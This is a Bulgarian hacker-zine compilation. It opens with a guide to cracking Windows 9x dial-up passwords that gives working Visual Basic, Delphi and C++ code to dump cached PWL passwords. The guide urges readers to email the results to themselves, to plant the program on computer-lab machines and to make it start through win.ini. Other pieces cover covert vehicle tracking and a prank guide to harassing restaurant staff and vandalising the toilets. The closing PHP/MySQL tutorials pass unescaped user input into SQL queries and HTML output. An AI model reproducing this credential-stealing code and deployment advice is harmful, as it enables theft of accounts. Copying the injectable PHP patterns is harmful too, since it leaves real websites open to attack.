Хакването на пароли, заедно с няколко примера на Visual Basic, Delphi, C++ и скриптове на PHP и MySQL
Windows Passwords Cracking
Eto me otnowo s edno dosta interesno i kasaeshto mnogo ot was neshto. A imenno towa e wzimaneto na paroli za Internet (kazano naj-lamersko). E neshtata nikak ne sa trudni. W tazi dokumentacia smiatam da opisha principa na hackwaneto na parolite kakto i sthe wi dam programi na Visual Basic,Delphi i C++ napraweni za tazi cel.
Ako wse oshte niakoj ot was ne znae parolite za Dial-up se syhraniawat w file s razshirenie PWL wyw washata Windows direktoria
Tozi file ima slednata struktura (w zakodiran wid razbira se)
Wid na resursa (1 bajt) Ime na resursa (do 255 bajta) Parola za resursa (do 255 bajta)
Imeto na resursa ima slednia wid:
Whoden_File/Ime_na_connectiona/User_name napr. *Rna/My Connection/nasko
Za da se razkodira PWL file-a Windows izpolzuwa specifichna parola, koiato ne e ukazana w tozi file. Tazi parola e swyrzana s towa dali potrebitelia se e lognal w Windows. Ako pri wkliuchwaneto wi w Windows ne izpolzuwate login imeto i parolata na potrebitelia, PWL file-a niama da moje da byde razkodiran. Za towa ako imate kompiutyr, kojto se izpolzuwa ot dosta hora slagajte parola w Windows-a si ili ne izbirajte Save Password w Dial-up Networking
Naj-chesto imenata na potrebitelite sywpadat s imeto na PWL file-a. Za da moje da byde izpolzuwan edin PWL file, toj triabwa da e registriran w sistemata. Towa moje da se izwyrshi chrez file-a system.ini . Otworete go i otidete w [Passwords Lists] kydeto shte widite wsichki registrirani PWL fileowe.
Sega da se zaemem s razkodiraneto na tozi file po-seriozno.
Shte razgledam niakolko wyzmojnosti:
1) Imate PWL file, no ne znaete login name-a ili parolata za Windows na choweka, ot kojto ste go swili - Preporychwam wi da izpolzuwate programata Cain ,koiato prilaga Brood Force ataka po file-a s cel da otkrie paro- lata i da go razbie
2) Imate PWL file-a ,kakto i user name-a na potrebitelia za Windows (i ako ima parola i neia) - E dobre. Kopirajte file-a wyw washata Windows direktoria i go registrirajte w system.ini . Sega otworete sistemnia register (RegEdit.EXE) i tyrsete stojnost ot wida: HKEY_CURRENT_USER\RemoteAccess\Profile Wmesto Username napishete login imeto na washata jertwa. (Moje da se naloji i da smenite imeto na connection-a) Sega restartirajte Windows i se wkliuchete s chujdia username. Pusnete Dial-up Networking i bi triabwalo da se poiawiat negowoto ime i parola (sys "*"). Sled towa izpol- zuwajte niakoia programa za razkriwane na tekstowi kutii s Password Char (ne znam konkreten adres ama gi ima mnogo)
(tozi metod ne sym go probwal lichno, no sa mi kazwali che "raboti idealno")
3) Sega idwa naj-trudnia moment ... da naprawim programa za razkodirane na PWL file. Moje bi si mislite che shte triabwa da izwyrshim stotici operacii nad tozi file, no wsyshtnost Microsoft sa oblikchili mykite ni kato sa si naprawili gotowa proce- dura za dekriptiraneto mu :)
Ta tazi procedura e WNetEnumCachedPasswords i se namira wyw file-a MPR.DLL . Moje bi tuka e momenta da wmykna edin interesen nachin da razberete dali niakoia programa niama da wi byrka w parolite. Ta znachi predi da startirate kakwoto i da e bilo symnitelo EXE , izberete Quick View (ot skachashtoto menu) i prowerete dali programata ne prawi obryshtenie kym mpr.dll . Ako e taka po-dobre ne pipajte programata.
Da se wyrna na misylta si sega. Znachi tazi procedura ima slednia format
WORD WNetEnumCachedPasswords ( LPSTR s, WORD i, BYTE b, XPTR Proc, DWORD l);
Pyrwite tri parametryra do sega nikyde ne sym prochel za kakwo sa, no az izpolzuwam slednite im stojnosti: s = ""; i = 0; b = 255; l = 0;
Za da izwlechem parolata shte izpolzuwame slednia zapis:
typedef struct PCE { WORD cbEntry; // goleminata na resursa kato cialo WORD cbResource; // goleminata na imeto na resursa WORD cbPassword; // goleminata na parolata na resursa BYTE iEntry; // poziciata,ot koiato se chete PWL file-a BYTE nType; // tipa na resursa (6 e za Dial-up paroli) BYTE abResource[1]; // nachaloto na imeto na resursa } CACHED_PASS;
Za chetwyrti parametyr na WNetEnumCachedPassword shte slojim adresa na funkcia, koiato shte obrabotwa syotwetnite danni i shte wryshta rezultata w niakakwa promenliwa ili na ekrana
Znam che wsichko towa moje da wi zwuchi dosta neiasno (i s men w nachaloto beshe taka), no ako se zanimawate pone malko s programirane ,kodowete otdolu shte wi pomognat da go shwanete. (slojil sym komentar za obiasnenie na wsich- ko)
Visual Basic (5.0 ili po-wisoka)
Za naj-lesno w nachaloto si slojete edin modul w programata kydeto shte wkarate koda, za da moje da wi e winagi na razpolojenie. Oswen towa shte wi triabwa ListBox s ime List1 wyw Form1
Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, _ ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) _ As Long
Type PASSWORD_CACHE_ENTRY cbEntry As Integer ' znaete cbResource As Integer ' znaete cbPassword As Integer ' znaete iEntry As Byte ' znaete nType As Byte ' znaete abResource(1 To 1024) As Byte ' syshto End Type
Public Function callback(X As PASSWORD_CACHE_ENTRY, ByVal lSomething As _ Long) As Integer 'Towa e funkciata,koiato shte izwejda dannite na ekrana w List1
Dim nLoop As Integer Dim cString As String Dim Resource As String Dim ResType As String Dim Password As String ResType = X.nType
'ot tuk prewkliuchwam na HTML format za po-lesno :) ' <formatirane na imeto na resursa> For nLoop = 1 To X.cbResource If X.abResource(nLoop) <> 0 Then cString = cString & Chr(X.abResource(nLoop)) Else cString = cString & " " End If Next ' </formatirane na resursa>
Resource = cString cString = ""
' <formatirane na parolata> For nLoop = X.cbResource + 1 To (X.cbResource + X.cbPassword) If X.abResource(nLoop) <> 0 Then cString = cString & Chr(X.abResource(nLoop)) Else cString = cString & " " End If Next ' </formatirane na parolata>
Form1.List1.AddItem "Resource " & Resource & " Password: " & Password callback = True
Public Sub GetPasswords() ' kato wi triabwa parola napishete Call GetPasswords i ne zabrawiajte wyw ' formata da imate List1 Call WNetEnumCachedPasswords("", 0, 255, AddressOf callback, 0) End Sub
E dobre. Mislia che ot towa malko wi se poizbistri. Sega shte wi dam samo kodowete za Delphi (3.0 ili po-wisoka) i C++
Delphi (towa wi e celia Unit)
uses Windows, SysUtils, Classes, Forms, Controls, StdCtrls;
type TForm1 = class(TForm) Button1: TButton; ListBox: TListBox; procedure FormShow(Sender: TObject); procedure Button1Click(Sender: TObject); private { Private declarations } public
{Standartna procedure ot mpr.dll } function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
{$R *.DFM} function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
type PWinPassword = ^TWinPassword; TWinPassword = record EntrySize: Word; { Obshta golemina na bloka } ResourceSize: Word; { Golemina na resursa (Rna/My Connection naprimer) } PasswordSize: Word; { Golemina na parolata } EntryIndex: Byte; {Whodiashtata pozicia w PWL file-a } EntryType: Byte; {Tip na resursa } PasswordC: Array[0..$FF] of Char; { bufer za iztochnia string } end;
var WinPassword: TWinPassword;
{Funkcia za dobawiane na sledwashtata parola w spisyka } function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall; var Password: String; PC: Array[0..$FF] of Char; begin Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize); PC[WinPassword.ResourceSize] := #0; CharToOem(PC, PC); Password := StrPas(PC);
Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize); Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize); PC[WinPassword.PasswordSize] := #0; CharToOem(PC, PC); Password := Password + ': ' + StrPas(PC);
Form1.ListBox.Items.Add(Password); Result := True; end;
procedure TForm1.FormShow(Sender: TObject); begin if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then begin Form1.ListBox.Items.Add('No passwords found'); halt; end; end;
procedure TForm1.Button1Click(Sender: TObject); begin Form1.ListBox.Items.Delete(Form1.ListBox.ItemIndex); end;
Za tazi programa shte wi triabwa otnowo samo edin ListBox (s ime ListBox) i Button. Razbira se mnogo lesno moje da e promenite da kajem wmesto w ListBox da gi zapiswa wyw file ili da gi prashta po e-mail (kakto az sym si naprawil)
I nakraia da ne podceniawame i C++ :)) Eto wi i koda za nego
#include <stdafx.h> #include <windows.h> #include <stdio.h>
typedef struct PCE { WORD cbEntry; // syshtoto WORD cbResource; // i pak syshtoto WORD cbPassword; // niamam dumi BYTE iEntry; // eto me i tuk :) BYTE nType; // kwo li shte e towa ? BYTE abResource[1]; // piswa nali?
char *buf, *ob1; // bufer za parola int cnt = 0; // kolko parolki imame
BOOL CALLBACK pce(CACHED_PASS *x, DWORD) { cnt++;
// obrabotka na user name memmove(buf, x->abResource, x->cbResource); buf[x->cbResource] = 0; CharToOem(buf, ob1); printf("%-30s : ", ob1);
// obrabotka na parola memmove(buf, x->abResource+x->cbResource, x->cbPassword); buf[x->cbPassword] = 0; CharToOem(buf, ob1); printf("%s\n", ob1);
void main() { buf = new char[1024]; ob1 = new char[1024];
HINSTANCE hi = LoadLibrary("mpr.dll"); if(!hi) { puts("Error loading mpr.dll"); // Edwa li tozi red shte se izpylni ama // neka si go slojim :) return; } WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) = (WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords"); if(!enp) { puts("Error loading function"); // Syshtoto kato otgore return; } (*enp)(0,0, 0xff, pce, 0); if(!cnt) puts("No passwords found.\n");
Ami towa e wsichko ot men. Opitajte se da si naprawite programa, koiato da wi prashta parolata na e-maila (ama ne izpolzuwajte ActiveX komponenti shtoto programata wi shte stane SUX) Sega edinstwenoto neshto, koeto triabwa da naprawite e da se wmyknete w nia- koia zala i da im zaredite programata.
I mislia che tuka e miastoto da wmykna oshte edin interesen trik, kojto moje da se izpolzuwa naj-weche w zali s Dial-up wryzka za kradene na parola. Tyj kato riadko shte wi pusnat da sednete na server-a kydeto e PWL file-a mojete prez lokalnata mreja da wkarate wirusa wi na server-a im (naj-chesto s Network Neighbourhood). Sled towa redaktirajte wtoria ili tretia red na win.ini ,kato sled "run=" napishete pylnia pyt do EXE-to wi. Sled towa tejko im :) . E da ama wie imate da si click-ate s chujd pass pone mesec
1. МАЛКО ОТ JAMES BOND 2. McDonalds PHUN!!!
--------------------------------------------------------------------------------
*********************************************************************** ************************** МАЛКО ОТ JAMES BOND ************************ *********************************************************************** автор : General Failure
Помните ли оная малка "джаджа", дето се слагаше на колите на лошите в "James Bond" и той ги следеше от разстояние? Този файл е за тях.Първо - те съществуват. Но дори и най-добрите и професионални модели не могат да правят това,което могат моделите на Bond - да дадат движеща се карта и колата на нея. Основата на машинката са предавател с размер на кутия за цигари (закрепва се чрез магнит) и приемник, използващ 2 еднакви антени, свързани към централен нулев индикатор, който дава връзка с предавателя. Приемника се използва от пилоти, радио любители и охрани-телен персонал, за да проследяват движението на предавателя в къси обхвати. Властите го използват за проследяване на движение на хора, наркотици или оръжия,закачайки предавател към предмета(колата), който трябва да се проследи. Предавателя обикновено е малък UHF или VHF излъчвател с батерии, антена 45-50см. Предавателя трябва да излъчва постоянен сигнал на дадена честота. Той се монтира на преследваното МПС(обикновено чрез магнит (ако имате по-добри идеи-пращайте :) А сега за приемника : 2 идентични антени са свързани с чифт PIN диоди, които захранват фазов детектор, който смесва идващите сигнали.Когато обекта на следене е директно пред вас, сигналите на двете антени пристигат по едно и също време. Това отчита център 0 на уреда. За нещастие устройството не може да различи дали сигнала идва отпред или отзад,затова е добре да следите жертвата отблизо. Ако обекта се движи на "10 часа" ,то той ще се вижда на "4 часа" на приемника.Целта е винаги да клони към 0 и да следите предавателя по най-пряката посока. С малко упражнение ще можете да следите предмет(човек) на препълнена улица без да го изгубите.Стрелката се клати,защото сигнала стига до едната антена по-бързо отколкото до другата и това предизвиква смяна на волтажа във фазовия детектор.Някои модели имат светлинни диоди в 360 градусов кръг и използват 4 антени.Това ви дава пълни кръгови възможности за засичане,като фазата между чифтовете антени се изчислява също.И сега как можем да се защитим: Най-лесният начин да засечем ако ни следят е да се разходите около МПС-то с портативен скенер на честотите и да търсите откъснат сигнал.Това също е и добър метод за отстраняване на такива устройства от вашия дом.Тези скенери са малко скъпи,но.....:) Ако намерите случайно такова устройство - позабавлявайте се малко :-) Закачете го на влак,автобус или друго МПС - най-добре е да го закачите на някой от МПС-тата на преследвачите и да наблюдавате как те се следят сами ;-)))))
««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« Този текст (или части от него) е предназначен замо за обучение. Отговорността за последствията от неговото използване НЕ Е НАША «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
--------------------------------------------------------------------------------
*********************************************************************** ********** McDonalds PHUN!!! ******** *************************************************** автор : General Failure
Въпреки че McDonalds е известен със своята реклама и със целта си да накара света да мисли, че няма нищо по-добро от bigmac,всеки ресторант е толкова неукрепнал,колкото новозапочнат бизнес.Нестига,че персонала е неопитен в това какво трябва да върши,но и загубва всякакъв контрол в спешни ситуации......ето ни и нас:-) Първо вземете няколко приятели(4 е най-добре:),влезте в ресторанта, говорете силно и изповайте силен парфюм, който ще накара хората от съседната маса да си тръгнат.Ако някой от смешно облечените хора мие пода,може нарочно да изсипвате боклуци(но дребни).Може и да се престорите,че се подхлъзвате и си чупите главата(но внимавайте че може да стане и наистина:)След това си изберете маса и започнете да викате и ръкомахате така,че всеки, който седи там ще стане и ще си тръгне. Сложете двама приятели да седнат там и отидете на касата с другия. Намерете си най-късата опашка или отидете при най-дългата и кажете,че ще купувате само една кола - ще ви пуснат напред:) Сега може да започвате с ПОРЪЧВАНЕТО. Задължително е да си поръчате хамбургер без нищо (без сосове де:)-това отнема допълнително време и тея,дето ги правят се изнервят ужасно:) След това си поръчайте МcNuggets x6 - 9кутийки ,но след това кажете че искате McNuggets x9 - 6кутийки:-)))) В крайна сметка отидете да "попитате вашите приятели",а дотогава другия ви приятел прави свалка на касиерката:) Върнете се и поръчайте 6кутийки по 9 броя.Ще получите въпрос "Какъв сос искате?" - ми вижте от кой сос има примерно останали 3-4 кутийки и искайте от него - така ще трябва някой да отиде до склада за друго кашонче от тях:) И последно - нещо за пиене - някой иска кола,друг бира,трети кафе. След това нямате проблем да отидете и да кажете,че не сте искал бира(ама веднага след това!) и искате SPRITE(примерно) - ще ви го сменят и после ще имат проблем с бирата(ми там никой не си купува бира-хехе:) След като вземете всичката храна ЗАДЪЛЖИТЕЛНО трябва да се окаже,че нямате достатъчно пари(ама не да ви липсват много - от порядъка на 200-300лв). Касиерката обикновено е толкова объркана,че ще ви "остави"(но може примерно и друго - приятеля, дето одеве я сваляше да й каже: "Ако ни ги опростиш, шъ излезем заедно утре вечер" и й дава некъф тел.номер-фалшиф разбира се).Такааа и сега се качвате горе и сядате.....(ах как ме сърбят пръстите:) Не е лоша идея някой от вас по някое време да извика:"Ааааа,тука има буболечка". Ще забележите как по-голямата част от хората ви гледат учудено. Друга cool идея е да сложите табелка ПУШЕНЕТО ЗАБРАНЕНО! на стената.Ще видите как доста хора сядат и като я видят стават:)След като свършите масата се оставя като след буря:) Но не забравяй за тоалетната - задължително е да натъпчеш един хамбургер в дупката и да пуснеш няколко пъти водата преди да излезеш, ей! Пък и после като я отпушват няма да знаят , че т'ва кафяво нещо е хамбургер:) . И като си тръгвате зимате един пълен шейк и го изливате в кошчетата,където любезно е написано БЛАГОДАРИМ ВИ. Това върви с високо изказана теза:"Леле,има ужасен вкус".Но гледайте тоя шейк да падне не в найлона, а отстрани - та да има кво да чистят :) И като за финал обърнете табелката "отворено"(се едно вече значи "ние бяхме тук!!!"). ЧЕСТИТО!!! Вие току що създадохте един хаос сред служителите на ресторанта:) И тъй като няма никакво наказание за хвърляне на отпадъци в ресторант,дразнене на хора в закусвалня и други такива,вие си тръгвате без проблеми.Забавно,нали??
Този текст (или части от него) е предназначен замо за обучение. Отговорността за последствията от неговото използване НЕ Е НАША
21.04.02 Как да си направя книга за гости ? автор : PoLiG брой прочитания : 299
Това е един лесно изпълним скрипт, ако използваме MySQL база данни. Нека първо да решим какво ще се въвежда в нашата книга за гости. Примерно име, email и някакво съобщение. Това означава, че трябва да си направим таблица с 4 полета. Нека те да са с такива характеристики : * id - INTEGER; AUTO_INCREMENT * name - VARCHAR 50 * email - VARCHAR 100 * message - TEXT
До тук добре :) Тази таблица можете да направите през phpMyAdmin. Следващото нещо и да направим 2 страници : * guestbook.php - страница, от която можем да изпращаме запис към базата от данни и същевреммено да видим записите изпратени преди нас. Това е все едно да имаме нормалните страници Sign и View в едно :) * guestbook_add.php - скрипт, който изпраща към базата от данни
Ето и тяхните реализации :
// guestbook.php - begin
<form action="guestbook_add.php" method="POST"> <table border="0" cellpadding="0" width="58%"> <tr> <td width="36%"></td> <td width="64%"><input type="text" name="name" size="20" value="Името ви"></td> </tr> <tr> <td width="36%"></td> <td width="64%"><input type="text" name="email" size="20" value="Email-а ви"></td> </tr> <tr> <td width="36%" valign="top"><p align="right">Съобщение:</td> <td width="64%"><font face="Bookman Old Style" size="2"><textarea rows="8" name="message" cols="40"></textarea></font></td> </tr> <tr> <td width="36%" valign="top"></td> <td width="64%"><input type="submit" name="submit" value="Изпрати" width="79" height="25"></td> </tr> </table> </form>
// Това беше първата част на guestbook.php, която изпраща заявка към скрипта. Ето и втората част :
<?php if (!isset($pageid)) { $pageid=0; };
$db_name = ""; $db_user = ""; $db_pass = ""; $db_host = "";
$connection = mysql_connect($db_host, $db_user, $db_pass) or die("no connect"); $db = mysql_select_db($db_name, $connection) or die("no db select"); $query = "SELECT * FROM guestbook ORDER BY id DESC LIMIT ". ($pageid*10) .",10"; // разделяме всичките записи по 10 на страница. За това ни трябва и $pageid $result = mysql_query($query) or die("no select");
echo "<table width=\"100%\">\n"; while ($rows = mysql_fetch_row($result)) { echo " <tr>\n <td width=\"21%\" align=\"right\"><font face=\"Verdana\" size=\"1\">Име</font></td>\n <td width=\"79%\"><font face=\"Verdana\" size=\"1\">$rows[0]</font></td>\n </tr>\n <tr>\n <td width=\"21%\" align=\"right\"><font face=\"Verdana\" size=\"1\">Email</font></td>\n <td width=\"79%\"><font face=\"Verdana\" size=\"1\">$rows[1]</font></td>\n </tr>\n <tr>\n <td width=\"21%\" valign=\"top\" align=\"right\"><font face=\"Verdana\" size=\"1\">Съобщение</font></td>\n <td width=\"79%\"><font face=\"Verdana\" size=\"1\">$rows[2]</font></td>\n </tr>\n <tr>\n <td width=\"21%\"><font face=\"Verdana\" size=\"1\"> </font></td>\n <td width=\"79%\"><font face=\"Verdana\" size=\"1\"> </font></td>\n </tr>\n "; } echo "</table>\n";
$query = "SELECT count(*) FROM guestbook"; $result = mysql_query($query); $number = mysql_fetch_row($result); $number_pages = floor(($number[0]-1)/10) + 1; // формулата по която се изчислява броят на страниците, в зависимост от броя на записите в базата данни (който е $number[0]):) if ($number[0]>10) {for ($i=1; $i<=$number_pages; $i++) { $ii=$i-1; echo "<font face=\"Verdana\" size=\"1\"><a href=\"guestbook.php&pageid=$ii\">$i</a> </font>"; }} ?>
// guestbook.php - end
Сега малко разяснения по последните няколко реда. Надявам се нагоре да няма въпроси (ако все пак нещо неразбирате, пратете ми email или попитайте в форумите). В зависимост от $pageid, заявката към SQL базата данни се изменя. При $pageid == 0 (което е по default), се избират последните добавени 10 записа чрез DESC LIMIT 0,10. Това DESC обръща таблицата на обратно и така селектваме последните 10 записа, като започваме от 0 т.е. първия :)
Последния ред създава цикъл, който изкарва в HTML нещо от рода на : 1 2 3 4 5 6, ако страниците са 6. Първа страница е текущата и има параметър $pageid == 0, втората - 1, третата - 2 и т.н. По този начин селектваме точно нужните 10 записа.
Сега остава да напишем и последния скрипт и точно файла guestbook_add.php, който изпраща данни към DB-то :) Ето го и него :
// guestbook_add.php - begin
<?php if (($name=='') OR ($email=='') OR ($message=='')) die ("Допуснахте грешка при въвеждането на данните !!!");
$db_name = ""; $db_user = ""; $db_pass = ""; $db_host = "";
$connection = mysql_connect($db_host , $db_user , $db_pass) or die("no connect"); $db = mysql_select_db($db_name) or die("no db select"); $query = "INSERT INTO guestbook(name, email, message) VALUES ('$name', '$email', '$message');"; $result = mysql_query($query, $connection) or die("no query add"); echo "<p><font face=\"Verdana\" size=\"1\">Заявката е изпълнена успешно :)<br><a href=\"guestbook.php\">Обратно</a>"; ?>
// guestbook_add.php - end
Няма нужда от коментари в дадения код. Ако някой има проблеми да пита в форумите или да прочете урока по MySQL. Надявам се да съм ви бил от полза :)
P.S. Ако имате проблеми, питайте ме, защото този код не е на 100% тестван !
21.04.02 Как да си направя mailing list ? автор : PoLiG брой прочитания : 182
Ето едно решение на въпроса как да си направя mailing list :) Има много системи по големите сайтове, аз обаче ще ви покажа една, проста, удобна и лесна за използване :) За целта ви трябва MySQL база данни (естествено :)) и инсталирано PHP. Нека да преминем към същественото :
Първото нещо което ни трябва за скрипта е таблица в MySQL DB-то където да пазиме информацията. Нека тя се казва 'mailing_list'. Ето с какви характеристики трябва да е тя : * id - първото поле е ID. То трябва да е integer и auto_increment. Толкова :) * name - второто поле е име. То може да е примерно VARCHAR 50 :) * email - третото последно поле - email. То трябва също примерно да е VARCHAR 75 :) Правиме една такава таблица от phpMyAdmin и всикчо е oK :)
Вече имаме таблица mailing_list готова на нашата база данни. Следващата стъпка е да направим първите 2 файла от нашият скрипт, а те са именно формата за изпращане на данни и скрипта, който ги изпраща :
// insert.htm - begin
<form action="insert.php" method="POST"> <p><font face="Verdana" size="1"><b>вашето име:</b> <br> <input type="text" name="name" size="15"><br> <b>вашият email:</b><br> <input type="text" name="email" size="15"><br> <input type="submit" value="Изпрати" name="submit"></font></p> </form>
// insert.htm - end
Това е формата ни за изпращане на информация. Нека сега да осъществиме и скрипта, който изпраща данните :)
// insert.php - begin
<?php
// моля прочетете урока по MySQL за да ви е напълно ясен всеки ред от този код
$db_host = "database_host"; $db_name = "database_name"; $db_user = "database_user"; $db_pass = "database_pass";
$connection = mysql_connect($db_host, $db_user, $db_pass); // свързваме се с базата данни $db = mysql_select_db($db_name, $connection); // избираме база данни $query = "INSERT INTO mailing_list(name, email) VALUES ('$name', '$email')"; // записваме заявката към DB-то $result = mysql_query($query, $connection); // изпълняваме заявката ?>
// insert.php - end
Вече е напълно готова фазата с изпращането на данните. Сега остава да направиме файл, с който да четем информация от базата данни, файл с който да триеме информация (2 файла - формата и скрипта) и файл, с който да изпращаме новините на всички, които са се записали (отново 2 файла). Ето и как ще четеме, кой се е записал :)
// list.php - begin
<?php $db_host = "database_host"; $db_name = "database_name"; $db_user = "database_user"; $db_pass = "database_pass";
$connection = mysql_connect($db_host , $db_user , $db_pass); // конектване за хоста $db = mysql_select_db($db_name, $connection); // избиране на базата данни $sql_query = "SELECT * FROM mailing_list"; // селектиране на всичко от таблицата mailing_list $result = mysql_query("$sql_query"); // изпълняване на заявката echo "<table cellspacing='5' cellpadding='5' border ='0' width = '%100' align='center'>"; // създаване на HTML таблица echo "<tr><td><b>id</b></td><td><b>name</b></td><td><b>email</b></td></tr>"; // създаване на HTML таблица
while ($rows = mysql_fetch_row($result)) { echo "<tr><td>$rows[0]</td><td>$rows[1]</td><td>$rows[2]</td></tr>"; } ?>
// list.php - end
Стартирайки файла list.php, ще разберете кой се е регистрирал за вашият news letter. До тук добре... остава изтриването и изпращането на email-ите :) Ето и реализация на delete скриптовете :
// remove.htm - begin
<form action = "remove.php" method = "post"> <table align="center"> <tr> <td>Име: </td> <td><input type = "text" name = "name2"></td> </tr> <tr> <td>Email: </td> <td><input type = "text" name = "email2"></td> </tr> <tr> <td><input type = "submit" value = "Изтрий" name="submit"></td> <td><input type = "reset" value = "Изчисти" name="reset"></td> </tr> </table> </form>
// remove.htm - end
Ето и реализация на remove.php. Този скрипт трие абсолютно всички с този email. Ако има 3ма регистрирани с този email, още при първият човек, и другите 2ма ще бъдат изтрити !
// remove.php - begin
<?php $db_host = "database_host"; $db_name = "database_name"; $db_user = "database_user"; $db_pass = "database_pass";
$connection = mysql_connect($db_host , $db_user , $db_pass); $db = mysql_select_db($db_name); $sql_query = "DELETE FROM mailing_list WHERE email = '$email2'"; $result = mysql_query("$sql_query"); echo ("Хората с този email, бяха изтрити"); ?>
// remove.php - end
Ето и последните 2 файла, които са нужни за изпращане на news letter-а ни :)
// send.htm - begin
<form action="send.php" method="post"> <table align="center"> <tr> <td>Тема : </td> <td><input type = "text" name = "subject" size="70"></td> </tr> <tr> <td>Съобщение : </td> <td><textarea name = "body" cols = "50" rows = "20" wrap = virtual></textarea></td> </tr> <tr> <td><input type = "submit" value = "Изпрати"></td> <td><input type = "reset" value = "Изчисти"></td> </tr> </table> </form>
// send.htm - end
// send.php - begin
<?php if (($subject == "") || ($body == "")) { echo "Грешка !!!"; exit; } else { $db_host = "database_host"; $db_name = "database_name"; $db_user = "database_user"; $db_pass = "database_pass";
$connection = mysql_connect($db_host , $db_user , $db_pass); $db = mysql_select_db($db_name); $sql_query = "SELECT email FROM mailing_list"; $result = mysql_query($sql_query); while ($row = mysql_fetch_array($result)) { $address = $row[0]; @mail($address ,$subject , $body , "From:Вашето име<вашият@email.com>"); echo ("новината изпратена до : $address<br>"); } echo ("Операцията завършена успешно !!!"); } ?>
// send.php - end
Това е целият скрипт. Ако имате проблеми, можете да ме попитате лично на email-а ми, или да напишете тема в Support Forums :) Надявам се да съм ви от полза !
21.04.02 Какво е MySQL и как мога да го използвам в моя сайт ? автор : PoLiG брой прочитания : 290
Това, което един начинаещ трябва да знае за MySQL първоначално са само няколко команди. Няма да описвам инсталирането, конфигурирането и т.н. в тази статия. За да можете да изпробвате това, което ще поместя в тази статия, трябва само да имате сървър с инсталиран MySQL и скрипта phpMyAdmin на него(http://www.phpwizard.net). Ами да започваме :)
Първото нещо, което ви трябва е да създадете своята базаданни. Ако не сте на local сървър, а на безплатен едва ли ще имате тази възможност. Обикновенно още при регистрирането ви се заделя една и вие можете да използвате само нея. 2рата стъпка е да създадете таблица. Нека в нашия случай тази таблица има 3 полета - id, name, email. Създаваме тази таблица с тези параметри : * id - INTEGER * name - VARCHAR 50 * email - VARCHAR 100
P.S. Ако неможете да направите тази таблица с phpMyAdmin, тогава просто попитайте в форумите ни. Кликваме ОК и всичко си работи. Таблицата ни вече е готова. Сега идва ред на РНР. Първо да покажа как се конектваме за DB-то :)
<?php
$connection = mysql_connect("host", "username", "password"); $db = mysql_select_db("database", $connection);
?>
На първия ред на кода се конектваме за дадения mysql сървър, който трябва да бъде написан на мястото на HOST примерно db.host.sk, ако става въпрос за Host.SK. Попълваме username и password и всичко е наред. На втория ред променяме database с името на нашата базаданни и вече сме свободни да правим каквото си поискаме :)
<?php
$connection = mysql_connect("host", "username", "password"); $db = mysql_select_db("database", $connection); $query = "SELECT * FROM table"; $query = "INSERT INTO table (name, email) VALUES ('Tony Evangelatov', 'evangelatov@hotmail.com')"; $query = "INSERT INTO table (id, name, email) VALUES ('563', 'Tony Evangelatov', 'evangelatov@hotmail.com')"; $result = mysql_query($query, $connection);
?>
Така... Първо да кажа какво прави това : $result = mysql_query($query, $connection); . Този ред, изпълнява даденото query. По начина, по който съм ги написал горе естествено ще се изпълни само последното $query. Надяваме се на всеки да му е ясно защо е така :) В случай, че изпълним командата INSERT или DELETE (после ще говоря за нея), повече няма какво да правим. Те са се изпълнили - изтрили сме или сме добавили каквото искахми и светът продължава :) Но ако използваме SELECT, вие ще попитате "Как ще видя резултатът, който ме интересува ?". Ами много лесно - да продължим с кода :
<?php
$connection = mysql_connect("host", "username", "password"); $db = mysql_select_db("database", $connection); $query = "SELECT * FROM table"; $result = mysql_query($query, $connection);
echo "<table><tr><td><b>ID</b></td><td><b>NAME</b></td><td><b>EMAIL</b></td></tr>\n"; while ($rows = mysql_fetch_rows($result)) { echo "<tr><td>$rows[0]</td><td>$rows[1]</td><td>$rows[2]</td></tr>"; }
?>
Сега малко отклонение от горната тема. Какво прави ето това : while ($rows = mysql_fetch_rows($result)). Този код, присвоява на $rows дадения ред от базата данни, докато не се изчерпат. Примерно имаме 5 записа в DB-то. Тогава при първият цикъл в $rows е записан 1вият запис. При втория цикъл - 2рия запис и т.н. В нашият случай ние имаме 3 полета. При първият цикъл на $rows се записват ID, NAME и EMAIL, които сме добавили първи. ID - $rows[0] ; NAME - $rows[1] и EMAIL - $rows[2]. По този начин обхождаме цялата таблица и изкарваме съдържанието и на екрана.
Да разгледаме и функцията DELETE и край с този урок. Мисля, че за начало толкова стига. Нека имаме следния код :
<?php
$connection = mysql_connect("host", "username", "password"); $db = mysql_select_db("database", $connection); $query = "DELETE FROM table WHERE name = 'Иван Иванов'"; $result = mysql_query($query, $connection);
?>
В случая командата DELETE претърсва таблицата table и изтрива всеки запис с name = 'Иван Иванов'. Мисля, че толкова разяснявания са достатъчни. Очаквайте в най-скоро време повече уроци и примери с MySQL база данни :)
21.04.02 Как да изпратим email през РНР автор : PoLiG брой прочитания : 137
<?php $mail = "Съобщението, което искаме да изпратим"; $email = "polig4e@hotmail.com"; $subject = "Темата на съобщението"; $from = "From:Peter Petrov <p_petrov@abv.bg>";
@mail("$email", "$subject", "$mail", "$from"); ?>
$mail - Това е съобщението, което ще изпратите на дадения човек. $email - Email-а на човека, на когото ще изпратите email $subject - Темата на вашето съобщение $from - Вашето име и вашия email
Ако искате, можете да направите форма в HTML файл и да препращате към този. За въпроси - evangelatov@hotmail.com
|